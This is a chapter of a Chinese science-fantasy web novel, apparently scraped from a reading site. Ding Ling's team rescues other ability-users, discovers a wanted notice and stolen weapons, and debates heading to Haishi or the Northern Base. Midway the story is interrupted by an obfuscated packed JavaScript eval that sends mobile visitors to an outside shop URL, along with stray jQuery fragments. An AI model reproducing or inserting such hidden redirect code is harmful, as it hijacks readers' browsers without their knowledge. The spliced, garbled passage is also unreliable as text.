“为什么！”陈千结第一个跳出来反对，“那些人都是黑心肠，只知道坑我们的钱。”


    花爻补充：“还骗人。”


    丁灵看着那些被他们甩在身后的异能者们：“哪怕他们都是些无恶不作的人，也有活下去的权利，起码不应该死在异化生物上。”


    “去，我去！”罗焰现在是百分之一百听从丁灵的话，她说往西，罗焰绝不往东一步。


    池渊不语，倾身上前按下自动驾驶车的按钮。车辆随着他的动作缓缓掉头，往身后飞驰。


    丁灵害怕大家因为刚刚检讨了一番，不敢说出拒绝的话，替他们找了台阶：“是我想要救他们，你们不用陪我，就在车上等就行。”


    车子骤然停在道路中央，池渊直接一甩车门，就跟着丁灵冲上战场。


    罗焰更是牢牢跟住，拿起激光刀，左挥右挥，全然没了之前瑟瑟躲在小队身后的怂包样。


    其他人见打头的人已经冲了上去，慌急慌忙也要跑出去，跟着丁灵一起去救人。


    一个人也没听丁灵的话。


    *


    祝予看着折返回来的小队，停下输送异能的手，神情冷漠地看着眼前打打杀杀的场面。


    橙色的河水流淌在大地上，落日余晖洒在地平面，把人的影子拉得极长。建筑物的阴影挡住了大片的地面，连同尸体一并笼罩在半黑半白的阴影中。


    祝予的双手垂在身旁，低下眸子，神色不如丁灵见过的那般明亮，而是蒙了一层雾，看上去有几分阴翳。


    姐姐，既然你想知道真相，就看得更清楚一些吧。


    这样你就能知道，这样的世界，根本没什么好留恋的。


    一个异化人突然拦住了祝予的去路，只是还没等它靠近，一男一女两个人就不知从哪里冒出来，瞬间挡在祝予面前。


    那两人瞳孔涣散，怎么看也不像个活人，倒是和眼前的异化人更像一些。


    它并不在意身前的阻拦，而是对着祝予开口，声音犹如童话故事里的老巫婆般嘶哑：“我们，合作。”


    祝予沉默的面孔忍不住露出讥笑的表情：“是，我们是合作关系。但我只答应帮你们找资料，是你们拦不住人。”


    他迈上身前不知何时出现的虎背，大概是谁的精神体，从容地扔下一句话：“剩下的是你们的合作，与我无关。”


    那异化人还站在原地，扭曲的面庞辨别不出它真实的表情。看着祝予远去的背影，它跳跃着几步就消失在道路中。


    动作之敏捷，和它给人的第一感觉完全不同。


    *


    进展异常顺利，异化生物像是被丁灵等人吓到一般，一和他们对上，就收了刚才那番凛冽的攻击，节节败退，仓皇朝远处跑去。


    罗焰来势汹汹，还没怎么出力，举着激光刀疑惑地看着异化生物们的背影：“这？被我们给吓跑了？”


    陈千结跑得稍慢一些，才从车上匆匆奔下，还未和大部队会合，连力都没出一分，战局就瞬间扭转。


    花爻也是没想到：“我们有这么厉害吗？”


    众人鸣金收兵，还未从这快速的战斗中反应过来。


    苏沐衡视力好，观察力更是一等一，总感觉刚刚在远处看见了异化人的身影。但再定睛一看，视线中就不再有任何迹象——难道是看岔了？


    丁灵的藤蔓不过才解决了几个异化人，但她明显感觉到自己手下的异化生物，和刚刚在车上看到那些战斗力并不相同。


    不像是异化生物突然变弱，而是异能者突然变强。可这横竖都说不通，倒像是……有人在暗地里帮助异化生物，才让异能者被压制了好一会儿。


    异能者此刻也硬气起来了，追着异化生物们反打，愣是不让它们离开，五彩斑斓的异能终于有了用武之地，就着同胞的鲜血越战越勇，誓要把异化生物打一个片甲不留。


    丁灵看着他们战有余力的样子，收起了手里的异能，只是默默看着眼前的战斗。


    “小树精。”池渊神秘兮兮地靠过来，问的还是之前丁灵说的话。


    “那我呢，我要是不陪着你来，你也完全不介意吗？”


    “你敢。”丁灵留给他一个背影，回头往车子边走去。


    池渊耸耸肩，看上去对丁灵的回答很受用，追着小跑几步跟上丁灵的步伐，靠近丁灵时又放慢脚步，假装不经意地上前。


    越过丁灵，他手插着兜看天，故作苦恼：“哎，看来某些人还是少不了我的帮助。”


    水龙忍不住露出身影，离开池渊，对着丁灵摇尾巴。丁木木从丁灵的肩头一跃而下，跟着水龙的飞行在丁灵的身前忽上忽下。


    丁灵抓过水龙的身体，揽在怀里有一搭没一搭地抚摸着，池渊的脊背一阵酥麻。


    陈千结也跟在他们身后往回走，注意到丁灵的动作，忍不住看了眼池渊。


    他背挺得笔直，看不出有半分不适。


    陈千结又看了眼在丁灵怀里舒服地微微扭动的水龙，看上去十分享受的样子，又看了眼走在前面的池渊。


    大白天的，在室外？


    陈千结想了想，最终还是没有开口，或许这只是人家小情侣之间的游戏呢？还是别掺和的好。


    众人一骨碌地坐上车，丁灵让罗焰随便定个能够歇脚的地点，经历了这么多事情，好好休息休息才是上策。


    “什么！”终于到了有通讯的地区，罗焰看腻了远处的风景，转而开始翻看自己的光脑，“网上有我们的通缉令！”


    他把手伸到丁灵面前，嘴里还喊着：“老大，你快看你快看。”


    丁灵直起身，看向罗焰的光脑。


    一片空白，什么东西也没有。


    她老老实实说：“看不见。”


    罗焰愣了一秒，随后慌乱地收起手：“噢噢，我忘了这个屏蔽了，稍等稍等。”


    还没等罗焰操作完毕，一块屏幕就落在她的眼前：“看吧。”


    丁灵对着池渊的光脑细细看着这所谓的“通缉令”，上面有他们几人的高清照片，连异能类型都写得清清楚楚。


    这倒没什么，最荒谬的是罪名：盗窃医院重要资料，致使大量病人隐私泄露，医院专属治疗方案外泄。


    什么治疗方案，什么重要资料，不过是些恶心实验的恶心东西。


    看着丁灵把文字和图片仔细看了几遍，池渊以为她在苦恼，出言劝解：“没事，不过是些不入流的通缉，和联盟没什么关系，只有些雇佣兵赚这种钱。”


    “我们还不止是治疗方案的大盗呢，老大，看这个。”罗焰像是想起什么，手里突然多了一堆武器。


    “哪里来的？”丁灵看着眼前的激光枪、激光刀，甚至还有一些没见过的武器。


    “偷来的。”罗焰挠挠头，不是不好意思，看上去反而是得意，“我们在医院里找你们的时候，无意间撞进一个暗道，发现了一个武器库。”


    青梧补充：“应该还有制造武器地方，我们发现的不过是存放点。”


    私造武器？难怪当时在C城基地时，罗焰用这个借口能够顺利搬到救兵。


    恐怕C城基地的人还以为是中部混乱区的人混了进来，误打误撞地帮了他们一个大忙。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403595|196150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夕阳沉沉地落下，映照着大片土地上错落的房屋。兵荒马乱的几日，终于得了空闲，能够在中部混乱区的周边休息一夜。


    丁灵体内的异能虽多，却不似之前的混乱，反倒是疲惫的劲上来，倒头就睡着了。


    好似混混沌沌地做了个很长很长的梦，梦里有母亲、有那位送她礼物的前辈、有祝予、有陆沉舟……随后是池渊、罗焰、陈千结……


    闹腾一晚上，感觉把一辈子见过的人都在梦里见了一遍，脑子里一片混沌，连带着起床的时候都有些迷糊。


    像有感应般，丁灵打开自己随行的背包，里面赫然有一封信。


    上面写着——北城基地。


    想来也差不多了，消息知道得不少，实力也提升了更多，那个丁灵一开始就想好的终点，是时候去碰一碰了吗？


    “想好了吗？下一站去哪里？”


    直到出门用早饭，丁灵都仍旧处在浑浑噩噩中。还是池渊坐到她身边，问她下一步的打算，才把她从这迷蒙中唤了出来。


    要去哪儿？5061女士神秘地将信件送到她的手中，不就是指引她寻找最后的答案吗？


    可祝予，祝予特地为她设置的幻境，说的最后一句话是：“姐姐，来海市找我吧。”


    海市，北城基地边上的小基地，不隶属于联盟，但也不像中部混乱区这般混乱。青梧之前说过，这是他的老家，靠倒卖能源发家。


    祝予也是那儿的人？那里难道还有其他家族的亲人们？


    一个激灵，丁灵想到了那不知所踪的第三份武器。莫不是……送往海市的？


    她倒没想到祝予有那么大的本事能够和北城基地合作，而是海市这个地方，脱离在联盟之外，不受监控，倒是很好的实验区。


    只是5061女士给的信息，至此还未出错过。或许最大的线索——在北城基地，而非海市。


    “北城基地。”纠结一番，她最终还是给出了这个“标准答案”。


    池渊不知道她为什么突然要去北城基地，但他看得出丁灵眼中的平静。


    那不是迷茫，而是对自己前路不清楚的淡漠，似乎去哪儿对她而言都差不多，他继续问：“你真的知道自己想去哪里吗？”


    “也许。”


    “那我换个问题，你知道自己究竟想做什么吗？”


    看着池渊突然正经，丁灵还有些不适应：“找父亲的下落，母亲死亡的真相。”


    “不是这个。”


    她换了个答案：“找实验背后的操纵者？”


    池渊摇摇头：“丁灵，你没有目标。找亲人还是找实验的真相，那都不是你的目标，是你觉得你应该去做的事情。”


    “应该做的事情，不就是我的目标吗？”


    “这不一样。”


    “我不明白。”


    “我也没法让你明白，这事只有你自己能懂。”


    “那你呢？你的目标是什么？”


    “我吗？”池渊一阵沉默，最终轻笑了一声，“我现在的目标是带着你，找到真相。”


    “这不是我的……我想做的事情吗？和你有什么关系？”


    “你真不知道？”


    丁灵摇头，眼里由淡漠转为迷茫，看起来真的完全没有头绪。


    池渊无奈地叹了口气：“没事，我以后再告诉你。”


    因为喜欢你，所以你的事情，就是我的目标。


    虽然仍旧不知道自己要做的事情和目标有什么区别，这番谈话却让丁灵的心思发生了偏转。


    她要去海市。


    “去海市。”